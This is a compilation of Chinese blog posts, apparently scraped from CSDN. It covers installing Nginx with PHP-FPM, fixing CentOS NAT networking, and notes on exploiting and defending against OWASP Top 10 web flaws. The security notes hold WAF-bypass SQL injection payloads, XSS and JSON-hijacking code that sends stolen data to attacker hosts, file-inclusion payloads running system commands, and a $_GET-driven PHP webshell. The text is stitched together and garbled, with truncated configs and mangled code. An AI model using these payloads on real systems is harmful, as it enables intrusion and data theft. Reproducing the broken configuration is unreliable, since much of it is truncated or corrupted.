下载Nginx,下载地址: ,选择最新版本进行下载
wget http://nginx.org/download/nginx-1.13.0.tar.gz
解压:tar -zxvf nginx-1.13.0.tar.gz
cd nginx-1.13.0.tar.gz
./configure
make && make install
/usr/local/nginx/sbin/nginx -v 查看版本,检测是否安装成功/usr/local/nginx/sbin/nginx -v 查看版本,检测是否安装成功
6、Nginx配置
创建Nginx运行使用的用户www(名字自己起就行): groupadd www
useradd -g www www
配置nginx.conf文件,修改成以下内容(在/usr/local/nginx/conf目录下):
worker_processes 2; #设置值和CPU核心数一致
error_log /usr/local/webserver/nginx/logs/nginx_error. #日志位置和日志级别
pid /usr/local/webserver/nginx/nginx.
#Specifies the value for maximum file descriptors that can be opened by this process.
worker_rlimit_nofile 65535;
worker_connections 65535;
include mime.
default_type application/octet-
log_format main
'$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" $http_x_forwarded_for';
#charset gb2312;
server_names_hash_bucket_size 128;
client_header_buffer_size 32k;
large_client_header_buffers 4 32k;
client_max_body_size 8m;
keepalive_timeout 60;
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
fastcgi_buffer_size 64k;
fastcgi_buffers 4 64k;
fastcgi_busy_buffers_size 128k;
fastcgi_temp_file_write_size 128k;
gzip_min_length 1k;
gzip_buffers 4 16k;
gzip_http_version 1.0;
gzip_comp_level 2;
gzip_types text/plain application/x-javascript text/css application/
#limit_zone crawler $binary_remote_addr 10m;
#下面是server虚拟主机的配置
listen 80;#监听端口
server_#域名
index index.html index.htm index.
root /usr/local/webserver/nginx/#站点目录
location ~ .*\.(php|php5)?$
#fastcgi_pass unix:/tmp/php-cgi.
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.
include fastcgi.
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|ico)$
expires 30d;
location ~ .*\.(js|css)?$
expires 15d;
检查配置文件nginx.conf的正确性命令: /usr/local/nginx/sbin/nginx -t
7、配置Nginx来支持php
下载地址:
这里下载的是:wget http://ar2.php.net/distributions/php-7.0.6.tar.gz
下载之后解压并进入在解压文件中
安装:./configure
–enable-fpm (enable-fpm参数即可开启PHP-FPM)
make && make install(PHP在 5.3.3 之后已经讲php-fpm写入php源码核心了)
nginx整合php-fpm
1. 启动php-fpm: /usr/local/sbin/php-fpm
[18-May-:58] ERROR: failed to open configuration file '/usr/local/etc/php-fpm.conf': No such file or directory
2.到/usr/local/etc/目录下,将php-fpm.conf.default拷贝一份成php-fpm.conf
root@iZ25fm7iewtZ:/# cd /usr/local/php/etc/root@iZ25fm7iewtZ:/usr/local/etc# cp php-fpm.conf.default php-fpm.conf
3.然后在编辑php-fpm.conf配置文件
;最后一行改成如下
include=/usr/local/etc/php-fpm.d/*.conf
4.进入到/usr/local/etc/php-fpm.d/目录下,将www.conf.default拷贝一份成www.conf
root@iZ25fm7iewtZ:/usr/local/etc# cd php-fpm.d/root@iZ25fm7iewtZ:/usr/local/etc/php-fpm.d# cp www.conf.default www.conf
编辑www.conf文件,将user和group改成和nginx.conf中的user和group一致
user = www
group = www
/usr/local/sbin/php-fpm
root@iZ25fm7iewtZ:/usr/local/etc# ps -ef | grep php-fpm
00:00:00 php-fpm: master process (/usr/local/etc/php-fpm.conf)
00:00:00 php-fpm: pool www
00:00:00 php-fpm: pool www
0 18:59 pts/1
00:00:00 grep --color=auto php-fpm
root@iZ25fm7iewtZ:/usr/local/etc# netstat -tnl | grep 9000
0 127.0.0.1:9000
5.开机启动php-fpm,开机启动的配置文件是:/etc/rc.local ,加入 /usr/local/sbin/php-fpm 即可
vi /etc/rc.local
添加 /usr/local/sbin/php-fpm
6.修改nginx的配置文件,支持php文件的解析,找到location的添加位置,在后面添加下面这个location
location ~ \.php$ {
#指定php的根目录
fastcgi_pass 127.0.0.1:9000;#php-fpm的默认端口是9000
fastcgi_index index.
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_
include fastcgi_
8、启动nginx
cd /usr/local/nginx/sbin/
查询nginx进程:
ps aux|grep nginx
注意:执行./nginx启动nginx,这里可以-c指定加载的nginx配置文件,如下:
./nginx -c /usr/local/nginx/conf/nginx.conf
如果不指定-c,nginx在启动时默认加载conf/nginx.conf文件,此文件的地址也可以在编译安装nginx时指定./configure的参数(–conf-path= 指向配置文件(nginx.conf))
9、停止nginx
方式1,快速停止:
cd /usr/local/nginx/sbin
./nginx -s stop
此方式相当于先查出nginx进程id再使用kill命令强制杀掉进程。
方式2,完整停止(建议使用):
cd /usr/local/nginx/sbin
./nginx -s quit
此方式停止步骤是待nginx进程处理任务完毕进行停止。
10、重启nginx
方式1,先停止再启动(建议使用):
对nginx进行重启相当于先停止nginx再启动nginx,即先执行停止命令再执行启动命令。
./nginx -s quit
方式2,重新加载配置文件:
当nginx的配置文件nginx.conf修改后,要想让配置生效需要重启nginx,使用-s reload不用先停止nginx再启动nginx即可将配置信息在nginx中生效,如下:
./nginx -s reload
11、Centos 7防火墙firewalld开放端口
开启80端口
firewall-cmd --zone=public --add-port=80/tcp --permanent
出现success表明添加成功
命令含义:
--zone #作用域
--add-port=80/tcp
#添加端口,格式为:端口/通讯协议
--permanent
#永久生效,没有此参数重启后失效
重启防火墙
systemctl restart firewalld.service
运行、停止、禁用firewalld
启动:# systemctl start
查看状态:# systemctl status firewalld 或者 firewall-cmd --state
停止:# systemctl disable firewalld
禁用:# systemctl stop firewalld
作者:zxchhyg 发表于
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
一:CentOS虚拟机NAT方式无法上网
如下所示,网卡en没有ip等信息;执行ping命令,报Network is unreachable的错误。&
解决办法:
1、查看网卡en开启状态
#vi /etc/sysconfig/network-scripts/ifcfg-en
其中部分内容如下:
DEVICE=ifcfg-en&&#设备名称BOOTPROTO=dhcp&&#连接方式,dhcp会自动分配地址,此时不需要在下面设置ip和网关HWADDR=00:0C:29:AD:66:9F&&#硬件地址,不要修改ONBOOT=yes&&#yes表示启动就执行该配置,需要改为yes
修改完后需要重启网络设置,命令如下:
# service network restart
# /etc/init.d/network restart
2、打开运行(Win+R键),输入“services.msc”。
找到VMware NAT Service和VMware DHCP Service,重启这两个服务。
3、修改虚机的接入方式,可以在“编辑虚拟网络”中查看
VMnet0是桥接方式,VMnet1是Host-only方式,VMnet8是NAT方式,子网IP可以自己设置,修改后,需要把2,3中的地址段同时对应修改。
4、虚机设置中选择NAT连接方式
作者:zxchhyg 发表于
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
这里简单地写一些关于OWASP top 10 漏洞的一些利用技巧以及检测方法、防御方法等的笔记(很多是参考了《Web漏洞讲解》),有新的理解和学会好的方法之后会更新~
转载 http://blog.csdn.net/SKI_12/article/details/
SQL Injection&Blind SQL Injection(SQL注入与SQL盲注漏洞):
一、绕过WAF的方法:
1. 大小写绕过
2. 简单编码绕过
3. 注释绕过:
如?id=1 uni/**/on sele/**/ct 1,2,3 #&
4. 分隔重写绕过:
适用于WAF采用正则表达式检测所有的敏感字的情况,可以通过注释分开敏感字,如?id=1 un//ion sel//ect 1,2,3 #;至于重写绕过,适用于WAF过滤了一次的情况,如uniunionon,有时候可能还有多次过滤的情况,这时多次尝试也可以。
5. HTTP参数污染(HPP):&
如?id=1 union select 1,2,3 from users where id=1 #&
这时可以改为?id=1 union select 1&id=2,3 from users where id=1 #&
次数&id=会在查询时变成逗号,具体细节取决于 WAF ;
这个例子也同理:?id=1/*/union/&id=/select/&id=/pwd/&id=/from/&id=*/users #&
如果服务器代码为: select * from table where a=”.GET[‘a′].”andb=”._GET[‘b’].” limit “.$_GET[‘c’]; 那么可以构造这样的注入语句: ?a=1 union/&b=/select 1,pass/&c=/from users # 最终解析为: select from table where a=1 union/ and b=/select 1,pass/limit */from users # 可以看到,这种方式比较适合白盒。
6. 使用逻辑运算符 or /and 绕过:
如?id=1 or 0x50=0x50&
?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74,其中select pwd from users limit 1,1是从 users 表里查询 pwd 字段的第一条记录, 然后 mid()就是取该记录的第一个字符, lower()把字符转换为小写, &ascii 把 该字符转换成 ascii 码,最后判断等不等于 74。
7. 比较操作符替换:比较操作符如!=、&&、&、&都可以用来替换=来绕过。
8. 同功能函数替换:
substring()可以用mid()、substr()这些函数来替换,都是用来取字符串的某一位字符的;
ascii()编码可以用 hex()、bin(),即十六进制和二进制编码替换;
在使用在基于延时的盲注中benchmark()和sleep()可以相互替换;
group_concat 、 concat 、concat_ws 三者可以互相替换;
还有一种新的方法 ,3条语句分别如下
substring((select ‘password’),1,1) = 0x70
substr((select ‘password’),1,1) = 0x70
mid((select ‘password’),1,1) = 0x70&
都是从 password 里判断第一个字符的值,可以用&
strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1&
替换,left 用来取字符串左起 1 位的值,strcmp 用来比较两个值,如果比较结果相等就为 0,左边小的话就为-1,否则为 1。
9. 盲注无需or和and:
例句:index.?id=1
当and和or被过滤时,可以将&1修改为是通过语句生成的, index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123,123 的时候页面是正确的,现在再盲猜 hash 的第一位,如果第一位等于 0x42 也就是 B,那么strcmp结果为0,0+123=123,所以页面应该是正确的。否则就说明不是 B,就这样猜,不用 and 和 or 了。
10. 加括号:
如?id=(1)union(select(1),mid(hash,1,32)from(users)) &&
?id=(1)union(((((((select(1),hex(hash)from(users))))))))
?id=(1)or(0x50=0x50)
11.缓冲区溢出绕过:
如id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10 #
其中 A 越多越好,一般要求 1000 个以上。
二、检测方法:
1、基于报错的检测方法:
使用各种符号以及组合: ‘ &“ &( &%
如直接在URL后添加单引号看是否报错index.php?id=1’
2、基于布尔的检测:
最常用的如1’ and ‘1’=’1和1’ and ‘1’=’2 相当于 1’ and ‘1和1’ and ‘0
当返回的结果不同时即有漏洞
3、直接在URL地址后面加-1、-0、’%2B’和’%2B’a:
添加-1:index.php?id=123-1,当前后访问的页面不同时,即可确定存在数字型SQL注入漏洞;
添加-0:index.php?id=123-0,当前后访问的页面相同时,再加上-1,返回错误页面,则表示存在数字型SQL注入漏洞;
添加’%2B’和’%2B’a:这里%2B为‘+’的URL编码,当先添加’%2B’时index.php?id=123’%2B’返回同样的页面,而添加’%2B’a时返回错误,这种适用于SQL语句中id值被一对单引号括起来的情况。
4、判断盲注的常用方法:
1’ and 1=1 # &
1’ and 1=2 # &
判断这两种不同的输入是否有不一样的显示,如果一个正常一个通用的错误提示或者啥也不显示,则几乎可以确定是含有SQL注入漏洞的。
三、防御方法:
关键是对所有用户的输入进行严格的检查过滤、对配置使用最小权限原则。
常用的修复方案:
(1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。
(2)过滤危险的 SQL 语句关键字。
(3)确认每种数据的类型。
(4)数据长度应该严格规定。
(5)网站每个数据层的编码统一。
(6)严格限制网站用户的数据库的操作权限。
(7)避免网站显示 SQL 错误信息。
(8)在网站发布之前建议使用一些专业的 SQL 注入检测工具进行检测。
(9)升级 web 服务器运行平台软件补丁,建议使用 WAF 防护。
其实最有效的防御手段是下面两种:
1、预编译:
原理是采用PreparedStatement将相应的SQL语句预先编译好,即SQL引擎会预先进行语法分析,产生语法树,生成执行计划,从而无论用户输入什么内容即使是sql命令都不会影响该SQL语句的语法结构而只能当成是字符串字面值参数。但并不是所有场景都能采用SQL预编译的,如需要进行一些字符串拼接的方式,这时便需要严格检查参数的数据类型以及采用一些安全函数来处理。
其过程如下:
(1)定义预编译的sql语句,其中待填入的参数用?占位。
(2)创建预编译Statement,并把sql语句传入。此时sql语句已与此preparedStatement绑定。所以第4步执行语句时无需再把sql语句作为参数传入execute()。
(3)填入具体参数。通过setXX(问号下标,数值)来为sql语句填入具体数据。问号下标从1开始,setXX与数值类型有关,字符串就是setString(index,str)。
(4)执行预处理对象。
String sql=”select id,no from user where id=?”;
PreparedStatement ps = conn.prepareStatement(sql);
prestmt.setInt(1,id);
prestmt.executeQuery();
2、变量绑定:
是指在sql语句的条件中使用变量而不是常量,是为了减少解析的。具体的细节网上很多,后面再补充。
三种类型的XSS(跨站脚本):
一、检测方法:
寻找脚本程序的输出显示代码,搜索关键字,显示输出那个变量,跟踪变量是否被过滤。
可以先输入一些内容,页面返回之后,可以查看网页源代码,搜索内容关键字看看是不是直接返回在页面的HTML代码中。
二、防御方法:&
1、调用函数:对于用户提交的数据可以通过调用函数进行过滤,htmlspecialchars()函数将输出的内容进行HTML的编码,效果最好;str_replace()函数可以将指定的字符串转换为其他字符串的,但是会被绕过。
2、使用XSS Filter:
(1)输入过滤:
输入验证(客户端):前端JS过滤,如检测最大长度、是否只有合法字符、格式是否符合要求、数字是否在指定的范围内。缺点就是容易被修改掉。
数据消毒(服务器端):过滤敏感字符(可以和SQL注入的一同过滤),如& &
‘ “ & # expression等。
(2) 输出编码(服务器端):可以使用HTML编码(PHP的htmlspecialchars()函数、ASP的Server.HTMLEncode()函数、ASP的Server.HtmlEncode()函数),用对应的HTML实体替代字面量字符,此时浏览器会将恶意代码当作HTML文档的内容而不是结构加以处理。
常见恶意字符的HTML编码(显示、实体名字、实体编号):
& && &&#60;
& && &&#62;
& && &&#38;
“ && &&#34;
‘ & & & & &&#39;
3、白名单和黑名单结合
4、Noscript:Firefox的一款免费的开源插件,默认禁止所有脚本,但是可以通过自定义设置允许通过的脚本。
5、Anti_XSS:提供大量的编码函数用于处理用户的输入,实现白名单机制和输出转义
6、HttpOnly:攻击者通过XSS漏洞执行JS中的document.cookie方法来窃取用户的cookie信息。Web应用程序在Set-Cookie时将其属性设为HttpOnly即可避免Cookie被客户端JS存取,也可以保护用户的Cookie信息不被盗取。
PHP设置HttpOnly的方法:
(1) 修改php.ini文件,设置其值为1或TRUE;
(2) setcookie()函数和setrawcookie()函数的第七个参数;
(3)在PHP代码中开启。
7、Web安全编码规范:对敏感字符转义、URL属性进行相应的规定等。
8、尽量使用WAF
9、防御DOM型XSS:
DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。其防御在于:
(1) 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;
(2) 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到&script&则进行JS编码。
CSRF(跨站伪造请求):
一、CSRF攻击获取数据的方法:
要获取的关键数据:用户 id、用户昵称、用户 email、用户个人页面地址等。
同域内 CSRF 攻击获取数据几乎没任何限制。
跨域 CSRF 攻击获取数据的几种方法总结如下:
2、服务端代理技术
3、JSON Hijacing
4、Flash AsctionScript(crossdomain.xml)
(1)XSS 获取数据:
如之前关于XSS文章做的三方的演示,使用目标站点上的XSS 漏洞:
&iframe width=0 height=0 src=‘http://目标站点/search.php?k=“&&script src=http://恶意站点/get.js&&/script&’&&/iframe&
其中get.js 的代码为:
//use DOM method to get your data
new Image(). src=‘http://恶意站点/a.php?data=‘+
恶意站点的 a.php 文件接收唯一标识等数据,该唯一标识可以是 url 中的或是目标站点url 对应的内容中的。这样受害者就会访问到第三方的恶意网站从而泄露信息。
(2)使用 JSON Hijacking技术:
目标站点使用了 JSON 数据传输用户私有数据,其中包含需要的唯一标识等信息。
相关代码:
&script& function hijack(o){
//use DOM method to get your data
new Image().src=”http://192.168.1.2/JSONHiJack.asp?hi=”+escape(data);
}&/script&
&script src=http://api.fanfou.com/private_messages/inbox.json?callback=hijack&count=2&&/script&
三、使用Flash ActionScript 脚本:
前提是目标站点下存在crossdomain.xml文件,且其配置允许其他域的 AS脚本进行跨域请求。
&?xml version=”1.0”?&
&cross-domain-policy&
&allow-access-from domain=”*” /&
&/cross-domain-policy&
相关代码:
import flash.*;&
var _l = new URLLoader(new URLRequest(“http://目标站点/”));
_l.addEventListener(Event.COMPLETE,function(){text1.text = _l.data});
_l.load();
二、检测方法:
最简单的方法就是抓取一个正常请求的数据包,去掉 Referer 字段后再重新提交,如果该提交还有效,那么基本上可以确定存在 CSRF 漏洞。
一些专门针对 CSRF 漏洞进行检测的工具,如CSRFTester,CSRF Request Builder 等。
以 CSRFTester 工具为例,CSRF 漏洞检测工具的测试原理如下:使用 CSRFTester 进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在 CSRFTester 中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF 漏洞,当然此款工具也可以被用来进行 CSRF 攻击。
三、防御方法:
1、 服务端的防御:主要有 5 种策略:验证 HTTP的Referer字段、在请求地址中添加 token 并验证、在 HTTP 头中自定义属性并验证、使用POST替代GET等。
(1)、验证 HTTP的Referer字段,在 HTTP 头的Referer字段记录了该 HTTP 请求的来源地址。顺便解决了非法盗链、站外提交等问题。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。
(2)、在请求地址中添加 token 并验证,可以在 HTTP请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。抵御 CSRF 攻击的关键在于:在请求中加入攻击者所不能伪造的信息,并且该信息不存在于 Cookie 之中。
(3)、在 HTTP 头中自定义属性并验证,也是使用 token 并进行验证,但并不是把 token以参数的形式置于 HTTP 请求而是放到 HTTP 头中自定义的属性里。通过XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把token 值放入其中。这样解决了前一种方法在请求中加入 token 的不便,同时,通过这个类请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会通过 Referer 泄露到其他网站。
(4)、严格区分好 POST 与 GET 的数据请求,尽量使用POST来替代GET,如在 asp 中不要使用 Request 来直接获取数据。同时建议不要用 GET 请求来执行持久性操作。
(5)、使用验证码或者密码确认方式,缺点是用户体验差。
2、 用户端的防御:用户的安全意识与良好的上网习惯。
3、 安全设备的防御:有些厂商的安全产品能基于硬件层面对HTTP 头部的 Referer 字段内容进行检查来快速准确的识别 CSRF 攻击。
File Upload(文件上传漏洞):
一、文件上传攻击分类:
1、轻量级检测绕过攻击:
(1)绕过javascript 对扩展名的检测:
使用Burpsuite等反向代理工具直接POST数据包到服务端,绕过前端检测,如DVWA中的绕过示例。
(2)绕过服务端对http request 包MIME 类型检测:
使用Burpsuite等反向代理工具伪造POST 数据包到服务端,绕过MIME检测,如DVWA中的绕过示例。
2、文件内容检测绕过攻击:
文件加载测试绕过:对文件进行代码注入再配合任意解析调用/漏洞。
3、上传攻击框架漏洞分层以及路径/扩展名检测绕过攻击:
轻量级检测绕过攻击
绕过JavaScript对扩展名的检测
代码层漏洞
绕过服务端对HTTP request包MIME类型检测
代码层漏洞
路径、扩展名检测绕过攻击
黑名单绕过
白名单绕过
文件名大小写绕过
名单列表绕过
特殊文件名绕过
0x00截断绕过
.htaccess文件攻击
PHP文件包含漏洞
Apache解析漏洞
IIS解析漏洞
Nginx解析漏洞
代码层漏洞
代码层漏洞
代码层漏洞
代码层漏洞
代码层漏洞
代码层漏洞
应用层漏洞
应用层漏洞
应用层漏洞
0x00截断绕过
PHP文件包含漏洞
IIS解析漏洞
Nginx解析漏洞
代码层漏洞
代码层漏洞
应用层漏洞
应用层漏洞
4、文件内容检测绕过攻击:
文件加载绕过 (代码层漏洞)
攻击手法与环节如图:
二、上传文件中的解析攻击:
1、直接解析(几乎没有防御):
比如直接上传一个扩展名是.php 的文件,只需要简单地绕过客户端javascript 检测或者服务端MIME 类型检测就行了。
2、配合解析(有一定程度的防御):
可以理解为先将代码注入到服务器上,上传一个带有一句话木马的图片或文件,等待一个解析的配合来实现攻击。
(1)、本地文件包含解析:主要是PHP本地文件包含
(2)、.htaccess文件解析
(3)、Web应用程序解析漏洞以及其原理:
1.Apache 解析漏洞:
解析: test.php.abc(其中abc为任意不属于黑名单且也不属于Apache解析白名单的名称)
描述:一个文件名为x1.x2.x3的文件,Apache 会从x3的位置往x1的位置开始尝试解析,如果x3不属于Apache能解析的扩展名,那么Apache会尝试去解析x2的位置,这样 & & & & 一直往前尝试,直到遇到一个能解析的扩展名为止。
2.IIS 解析漏洞:
解析:test.asp/abc&或 test.abc&名 或 abc/def.php (其中abc、def都为任意文件名)
描述:IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含”.asp”字符串,那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有”.”会优先按asp来解析;IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL 后面追加上字符串”/任意文件名.php”就会按照php的方式去解析。
3.Nginx 解析漏洞:
解析:abc/def.php 或 abc%00.php&(其中abc、def都为任意文件名)
描述:目前Nginx 主要有这两种漏洞,一个是对任意文件名,在后面添加/abc.php 的解析漏洞,如原本文件名是test.jpg则可以添加为test.jpg/x.php进行解析攻击。还有一种是对低版本的Nginx 可以在任意文件名后面添加%00.php 进行解析攻击。
4.解析漏洞总结:
Apache的扩展名顺序解析漏洞:Apache自身的漏洞
IIS的asp 解析漏洞:IIS自身的漏洞
Nginx的%00 解析漏洞:Nginx自身的漏洞
php-cgi的默认配置漏洞:这类以CGI 形式调用php的web 应用程序主要出现在IIS和Nginx;而Apache 通常是以module 的形式去调用php,所以很少出现该类型漏洞。
三、检测方法:
简单点的方法就是直接上传各种类型的文件,再通过Burpsuite修改各个可以绕过的检测内容来检测。
四、防御方法:
1、客户端JavaScript检测:通常为检测文件扩展名)
2、服务端MIME 类型检测:检测Content-Type内容)
3、服务端目录路径检测:检测跟path参数相关的内容
4、服务端文件扩展名检测:检测跟文件extension 相关的内容
(1) 黑名单检测:
1. 文件名大小写绕过:如&AsP,pHp。
2. 名单列表绕过:用黑名单里没有的名单,如 asa 或 cer 等。
3. 特殊文件名绕过:比如发送的 http 包里把文件名改成 test.asp. 或 test.asp (后面为空格),这种命名方式在 Windows系统里是不能直接修改的,需要在Burpsuite等代理中进行修改,然后绕过验证后,会被Windows系统自动去掉后面的点和空格,但也只能用在Windows系统中。
4. 0x00 截断绕过
5. 双扩展名解析绕过攻击:
(1)基于Web服务的解析逻辑:如果上传一个文件名为help.asp.123,扩展名123 不在扩展名黑名单中也没在Apache 可解析扩展名列表中,此时会向前搜寻下一个可解析的扩展名,若搜寻到.php,则会以php 执行。
(2) 基于Web服务的解析方式:如果在Apache的conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是test2.php.jpg也会以php 来执行。
6. 危险解析绕过攻击:基于Web服务的解析方式:如果在Apache 的conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是jpg,一样能以php 方式执行。
7. .htaccess 文件攻击:配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测。
8. 解析调用/漏洞绕过:直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞
(2) 白名单检测:
1. 0x00 截断绕过:如test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击
2. 解析调用/漏洞绕过:直接配合上传一个代码注入过的白名单文件,再利用解析调用/漏洞
3. .htaccess文件攻击:无论是黑名单还是白名单都可以直接攻击.htaccess 文件
如果PHP 安全没配置好,就可以通过move_uploaded_file 函数把自己写的.htaccess 文件覆盖掉服务器上的,这样就能任意定义解析名单了。
5、服务端文件内容检测(检测内容是否合法或含有恶意代码) :
(1)文件幻数检测:
主要是检测文件内容开始处的文件幻数,要绕过的话需要在文件开头写上检测的值,比如图片类型的文件幻数如下:
然后在文件幻数后面加上代码即可。
(2)文件相关信息检测:
图像文件相关信息检测常用的就是getimagesize()函数,需要把文件头部分伪造好,就是在幻数的基础上还加了一些文件信息,结构如下:
(…some binary data for image…)&
&?php phpinfo(); ?&
(… skipping the rest of binary data …)
(3)文件加载检测:
一般是调用API 或函数去进行文件加载测试,常见的是图像渲染测试,甚至是进行二次渲染(过滤效果几乎最强)。
对渲染/加载测试的攻击方式:代码注入绕过,可以用图像处理软件对一张图片进行代码注入,但文件结构是完整的,渲染测试基本上都能绕过。用winhex查看数据可以分析出这类工具的原理是在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区。
对二次渲染的攻击方式:攻击文件加载器自身,常见的就是溢出攻击,上传恶意文件后服务器上的文件加载器会主动进行加载测试,加载测试时被溢出攻击执行shellcode比如access/mdb 溢出;二次渲染相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染,在这个过程中非图像数据的部分直接就被隔离开了。
示例代码:
function image_gd_open(file,extension) {&
extension=strreplace(′jpg′,′jpeg′,extension);&
openfunc=′imageCreateFrom′. //函数名变成imageCreateFrompng &之类&
if (!function_exists($open_func)) {&
return FALSE;&
return openfunc(file); //变成imagecreatefrompng(‘/tmp/php0lbTOn’)&
File Include(文件包含漏洞):
一、文件包含漏洞的利用技巧:
包含漏洞上传技巧:
一般将一句话木马和图片进行绑定上传。
包含读文件:
如http://10.10.10.128/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
包含写文件:
构造URL:http://10.10.10.128/dvwa/vulnerabilities/fi/?page=php://input,并且提交POST数据为:&?php system(‘net user’);?&等
包含日志文件:
当存在PHP本地文件包含漏洞,但无法上传正常文件时,可以利用Apache日志文件。Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中,例如:
http://10.10.10.128/dvwa/vulnerabilities/fi/?page=../../../../Apache-20\logs\access.log
PHP内置的协议:
二、检测方法:
找到有包含函数的页面,对函数内容进行替换查看结果;
可以使用工具来代替手工的过程,如Kadimus、Burpsuite的插件LFI scanner checks等;
白盒测试时,可以在源代码中查看allow_url_fopen、allow_url_include等敏感函数是否开启。
三、防御方法:
1、通过限定包含的文件名字,如DVWA中High级通过判断file变量是否等于include.php来决定是否执行下面的代码。
2、可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文件包含。
Insecure Captcha(不安全的验证码):
一、原理过程:
1.客户端发起一个请求
2.服务端响应并创建一个新的 SessionID 同时生成一个随机验证码
3.服务端将验证码和 SessionID 一并返回给客户端
4.客户端提交验证码连同 SessionID 给服务端
5.服务端验证验证码同时销毁当前会话,返回给客户端结果
二、验证码的安全问题:
客户端问题:
1、 客户端生成验证码:验证码由客户端 JS生成并且仅仅在客户端用JS验证。
2、 验证码输出客户端:输出在HTML中,不应该把验证码的内容发送到客户端 cookie 或输出到response headers的其他字段中。
3、 验证码输出在 cookie 中:有些系统默认不显示验证码,而是在用户校验错误一定次数之后再出现。那如何判断用户已经错误几次了呢?若是如下判断: & & & &
(1)在 cookie 中写入一个标记,比如 loginErr = 1,后续错误累加
(2)在 session 中写入一个标记,例如 loginErr = 1,后续错误累加&
这样问题在于,要是攻击者不带 Cookie 提交 HTTP 请求或不更新 Cookie中 loginErr 的值反复提交,这样程序会因为无从获取 Cookie/sessionID,会认为攻击者是首次访问,从而验证码不会出现。
服务器端问题:
1、 验证码不过期,没有及时销毁会话导致验证码复用
2、 没有进行非空判断
3、 产生的验证码问题集内的答案非常有限
三、检测方法:
简单的方法,先是手工登录几次,查看是否出现验证码以及验证码是否失效,然后再通过Burpsuite来进一步测试。
四、防御方法:
1、 强制要求输入验证码,否则必须实施 IP 策略。注意不要被 X-Forwarded-For(用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段) 绕过了。
2、 验证码只能用一次,用完立即过期。
3、 验证码强度增强,使用扭曲、变形、干扰线条、干扰背景色、变换字体等。
4、 大网站最好统一安全验证码,各处使用同一个验证码接口。
Command Injection(命令注入漏洞):
一、PHP与命令执行漏洞相关的函数:
1、PHP的5种命令执行函数:system()、exec()、passthru()、shell_exec()、“运算符
eval()函数注入攻击,将参数字符串作为PHP 程序代码来执行,用户可以将 PHP 代码保存成字符串的形式,然后传递给 eval 函数执行。
PHP中的preg_replace()函数、str_replace()函数以及call_user_func()函数同样可以实现eval 注入攻击的效果。preg_replace()函数的作用是用来执行常规表达式的查找和替换的,当替换内容为用户可控数据时,就可能导致命令注入攻击漏洞的形成。
2、命令执行小集:
&?php&&cmd&/span&&span&=&/span&&span&class="string"&"system"&/span&&span&;&&&/span&&/span&&/li&&li&class="alt"&&span&ob_start(&span&class="vars"&cmd);&&echo&“_GET[cunlide]"&/span&&span&;&&&/span&&/span&&/li&&li&class="alt"&&span&ob_end_flush();&&&/span&&/li&&li&class=""&&span&&span&class="func"&echo&/span&&span&&&/span&&span&class="string"&"&br&"&/span&&span&;&&&/span&&/span&&/li&&li&class="alt"&&span&system(&span&class="string"&"_GET[cunlide]”);&&echo&“&br&”;&&echo&exec(“_GET[cunlide]"&/span&&span&);&&&/span&&/span&&/li&&li&class=""&&span&&span&class="func"&echo&/span&&span&&&/span&&span&class="string"&"&br&"&/span&&span&;&&&/span&&/span&&/li&&li&class="alt"&&span&&span&class="func"&echo&/span&&span&&shell_exec(&/span&&span&class="string"&"_GET[cunlide]”);&&echo&“&br&”;&&echo&passthru(“$_GET[cunlide]”);&&echo&“&br&”;&&echo&`$_GET[cunlide]`;&&?&&&&?